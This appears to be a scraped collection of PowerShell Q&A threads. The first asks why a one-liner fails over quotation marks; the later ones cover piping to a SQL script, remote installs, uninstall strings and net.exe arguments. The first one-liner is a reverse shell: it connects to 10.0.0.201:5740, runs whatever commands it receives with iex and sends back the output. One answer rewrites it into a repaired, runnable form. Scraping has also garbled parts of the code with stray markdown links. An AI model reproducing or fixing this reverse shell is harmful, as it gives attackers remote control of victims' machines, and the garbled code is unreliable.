Powershell not accepting normal quotation marks - powershell

I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression

As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand

Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

Related

powershell : pipe get-content to ps1 file with parameters

I'm trying to write a script which uses the powershell cmdlet get-content tail and inserts the new lines into the sql server table. i can't get the syntax to pipe the tail to the sqlinsert.ps1 file that handles the table insert.
i'm looking for help on how to pipe "get-content tail" to a sqlinsert.ps1 file to do a sql database insert statement using the following :
$startTime = get-date
Write-Host "\\iisserver\logs\Logs-$("{0:yyyyMMdd}" -f (get-date)).txt"
get-content "\\iisserver\logs\Logs-$("{0:yyyyMMdd}" -f (get-date)).txt" -tail 1 -wait | & "sqlinsert.ps1" -stmp $("{0:yyyy-MM-dd hh:mm:ss.fff}" -f (get-date)) -method "Error" -msg $_
# % { "$_ read at $(Get-Date -Format "hh:mm:ss")" }
in the sqlinsert.ps1 :
param ([string]$stmp, [string]$method, [string]$msg )
$Connection = New-Object System.Data.SQLClient.SQLConnection
$Connection.ConnectionString = "server='$serverName';database='$databaseName';User ID = $uid; Password = $pwd;"
$Command = New-Object System.Data.SQLClient.SQLCommand
$Command.Connection = $Connection
$sql = "insert into [tbl_iiserrors] (errstamp, method, msg) values (#stmp , #method, #msg) "
.
.
.
error i get:
& : The term 'sqlinsert.ps1' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again. At C:\Temp\ob\iislog\tst_tail.ps1:3 char:95
... Mdd}" -f (get-date)).txt" -tail 1 -wait | & "sqlinsert.ps1" -stmp $ ...
~~~~~~~~~~~~~~~
CategoryInfo : ObjectNotFound: (sqlinsert.ps1:String) [], CommandNotFoundException
FullyQualifiedErrorId : CommandNotFoundException
Suggestion [3,General]: The command sqlinsert.ps1 was not found, but
does exist in the current location. Windows PowerShell does not load
commands from the current location by default. If you trust this
command, instead type: ".\sqlinsert.ps1". See "get-help
about_Command_Precedence" for more details.
The sqlinsert.ps1 works when i run it from powershell command :
PS c:\temp> .\sqlinsert -stmp 2020-11-20 00:00:00 -method 'eek' -msg 'uh hello'
In order to bind pipeline input to a parameter, you need to decorate it with a [Parameter] attribute and specify that it accepts pipeline input, like this:
param (
[string]$stmp,
[string]$method,
[Parameter(ValueFromPipeline = $true)]
[string]$msg
)
See the about_Functions_Advanced_Parameters help file for more details about how to modify the behavior of parameters
By design, for security reasons, PowerShell requires you to signal the intent to execute a script located in the current directory explicitly, using a path - .\sqlinsert.ps1 - rather than a mere file name - sqlinsert.ps1; that is what the suggestion following the error message is trying to tell you.
Note that you only need &, the call operator, if the script path is quoted and/or contains variable references - and .\sqlinsert.ps1 doesn't require quoting.
You can only use the automatic $_ variable, which represents the current input object from the pipeline inside a script block ({ ... }), such as one passed to the ForEach-Object cmdlet, which invokes that block for each object received via the pipeline.
Re the content of your script: Inside expandable strings ("..."), you cannot use # to refer to variables to be expanded (interpolated); use regular, $-prefixed variable references or $(...), the subexpression operator to embed expressions; also, it looks like you're inserting string values into the SQL table, so you'll have to enclose the expanded variable values in embedded '...'
$startTime = get-date
Get-Content "\\iisserver\logs\Logs-$("{0:yyyyMMdd}" -f (get-date)).txt" -Tail 1 -Wait |
ForEach-Object {
.\sqlinsert.ps1 -stmp ("{0:yyyy-MM-dd hh:mm:ss.fff}" -f (get-date)) -method "Error" -msg $_
}
The alternative to using a ForEach-Object call is to modify your script to directly receive its -msg argument from the pipeline, as shown in Mathias' answer, in which case you must omit the -msg $_ argument from your script call:
Get-Content ... |
.\sqlinsert.ps1 -stmp ("{0:yyyy-MM-dd hh:mm:ss.fff}" -f (get-date)) -method "Error"

Remote install script and generate log files when failed to install?

I am trying to modify and fix this script below, so it can install the software in my domain controllers from my Powershell ISE Run as Administrator (With Enterprise Admins credentials)
Get-ADDomainController -Filter * | Select-Object -ExpandProperty HostName | Sort-Object | ForEach-Object {
$session = New-PSSession -ComputerName $_
Invoke-Command -Session $session -ScriptBlock {
Try {
Write-Host "Processing Server ... $($Using:_)" -ForegroundColor Yellow
$process = Start-Process -FilePath "AgentUpdate-x64.exe /s /v"/qn INSTALLDIR=\"C:\Program Files\Software1\" LOG_SOURCE_AUTO_CREATION_ENABLED=True LOG_SOURCE_AUTO_CREATION_PARAMETERS=""&Component1.LogSourceIdentifier=%COMPUTERNAME%" -Wait -PassThru
$process.ExitCode
}
Catch {
Write-Warning -Message "Cannot Install the software on $($Using:_)"
Write-Warning -Message $Error[0].Exception.Message
}
}
Remove-PSSession $session
}
Note: the file AgentUpdate-x64.exe is MSI installer but with the .EXE extension, not .MSI
The error code is:
At line:25 char:245
+ ... REATION_PARAMETERS=""Component1.AgentDevice=DeviceWindowsLog&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:270
+ ... onent1.AgentDevice=DeviceWindowsLog&Component1.Action=create&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:310
+ ... onent1.Action=create&Component1.LogSourceName=%COMPUTERNAME%&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:356
+ ... %COMPUTERNAME%&Component1.LogSourceIdentifier=%COMPUTERNAME%&Componen ...
The problem is that it does not show any progress and I do not see the completion when it is successful or even failed with SERVERNAME-SoftwareName.LOG?

PowerShell remnant character from registry pull

When pulling this install string from the registry, there is an invisible leading character.
I am unable to run the uninstall string or strip this character. Various iterations of split, replace, join, etc work against the string, but do nothing to change the errant behaviour. I have tried within PowerShell or the Windows console.
Write-Output $uninst shows the correct string:
MsiExec.exe /x {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} /qn
When executing that string in PowerShell, the msiexec help bubble pops up. When executing that string at the Windows CMD shell, a white square character is at the beginning of the line.
# pull ESET uninstall string
$esetVer = Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall |
Get-ItemProperty |
Where-Object { $_.DisplayName -match "ESET Endpoint Antivirus" } |
Select-Object -Property DisplayName, UninstallString
foreach ($ver in $esetVer) {
if ($ver.UninstallString) {
$uninst = $ver.UninstallString
$uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
Invoke-Expression $uninst
Write-Output $uninst
}
}
Removing first char only removes the M.
In my question, I focus on some errant character before the msiexec.exe command line. That apparently was not the issue. The issue was the braces around the app ID ( {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} ). They required a backtick. So, simply including the backtick before the brace in my substitution line fixed the code.
Old: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
New: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
This modification worked on 2 Windows 7 Pro computers.

Piping from a variable instead of file in Powershell

Is ther any way in Powershell to pipe in from an virable instead of a file?
There are commands that I need to pipe into another command, right now that is done by first creating a file with the additional commands, and then piping that file into the original command. Code looks somehting like this now:
$val = "*some command*" + "`r`n" + "*some command*" + "`r`n" + "*some command*"
New-Item -name Commands.txt -type "file" -value $val
$command = #'
db2cmd.exe /C '*custom db2 command* < \Commands.txt > \Output.xml'
'#
Invoke-Expression -Command:$command
So instead of creating that file, can I somehow just pipe in $val insatead of Commands.txt?
Try this
$val = #("*some command*1","*some command2*","*some command3*")
$val | % { db2cmd.exe /C $_ > \Output.xml }
You should be able to pipe in from $val provided you use Write-Output or its shorthand echo, but it may also be worth trying passing the commands directly on the command line. Try this (and if it doesn't work I can delete the answer):
PS C:\> filter db2cmd() { $_ | db2cmd.exe ($args -replace '(\\*)"','$1$1\"') }
PS C:\> $val = #"
>> *custom db2 command*
>> *some command*
>> *some command*
>> *some command*
>> "#
>>
PS C:\> db2cmd /C $val > \Output.xml
What happens here is that Windows executables receive their command line from a single string. If you run them from cmd.exe you cannot pass newlines in the argument string, but Powershell doesn't have that restriction so with many programs you can actually pass multiple lines as a single argument. I don't know db2cmd.exe so it might not work here.
The strange bit of string replacement is to handle any double quotes in the arguments: Powershell doesn't quote them and the quoting rules expected by most exe files are a bit bizarre.
The only limitation here would be that $val must not exceed about 32,600 characters and cannot contain nulls. Any other restrictions (such as whether non-ascii unicode characters work) would depend on the application.
Failing that:
echo $val | db2cmd.exe /C '*custom db2 command*' > \Output.xml
may work, or you can use it in combination with the filter I defined at the top:
echo $val | db2cmd /C '*custom db2 command*' > \Output.xml

Trying to run legacy executables from powershell script

I am looking to run net.exe from a script and I am having some trouble with spaces. Here is the code...
# Variables
$gssservers = Import-Csv "gssservers.csv"
$gssservers | Where-Object {$_.Tier -match "DB"} | Foreach-Object {
net.exe use "\\"$_.Name '/user:'$_.Name'\Administrator' $_.Pass
$sqlcheck = sc.exe \\$gsssql[1] query "WUAUSERV"
}
When I set line 5 to Write-Host I see that there are spaces that are added outside of anywhere I have quotes which is breaking the net.exe command. How can I remove those spaces?
For anyone questioning how I am doing this, the net.exe command is the only way I can get to these machines as WMI is blocked in this enclave.
My first guess is that you've got "invisible" spaces in your CSV file. For example their is likely a trailing whitespace after the names of your servers in the CSV that your eyes of course don't see. You can fix that either by fixing the CSV file, or using .Trim() on your imported strings -- i.e. $_.Name.Trim()
If that's not the case, or not the only issue, then this is something I've had issues with to. When I have complicated strings like your desired net.exe arguments I've liked to take precautions and get extra pedantic with defining the string and not rely on PowerShell's automatic guessing of exactly where a string begins and ends.
So, instead of baking your parameters inline on your net.exe command line hand-craft them into a variable first, like so
$args = '\\' + $_.name + '/user:' + $_.name + '\Administrator' + $_.pass
If you write-Host that out you'll see that it no longer has your rogue spaces. Indeed you may notice that it no longer has enough spaces, so you'll have to get a little explicit about where they belong. For instance the above line doesn't put the proper spaces between \\servername and /user, or between the username and password, so you'd have to add that space back in, like so.
$args = '\\' + $_.name + ' /user:' + $_.name + '\Administrator ' + $_.pass
Notice the explicit spaces.
I finally resolved this myself using #EdgeVB's solution. The code ended up like this...
# Variables
$gssservers = Import-Csv "gssservers.csv"
$gssservers | Where-Object {$_.Tier -match "DB"} | Foreach-Object {
$cmd1 = 'use'
$arg1 = '\\' + $_.Name
$arg2 = ' /user:' + $_.Name + '\Administrator '
& net.exe $cmd1 $arg1 $arg2 $_Pass
$cmd2 = 'query'
$svc1 = 'mssqlserver'
& sc.exe $arg1 $cmd2 $svc1 | Write-Host
}
Not only do you need to bake the variables in beforehand, but they also cannot cross certain thresholds (for instance, if "use" and "\" are in the same variable, it breaks.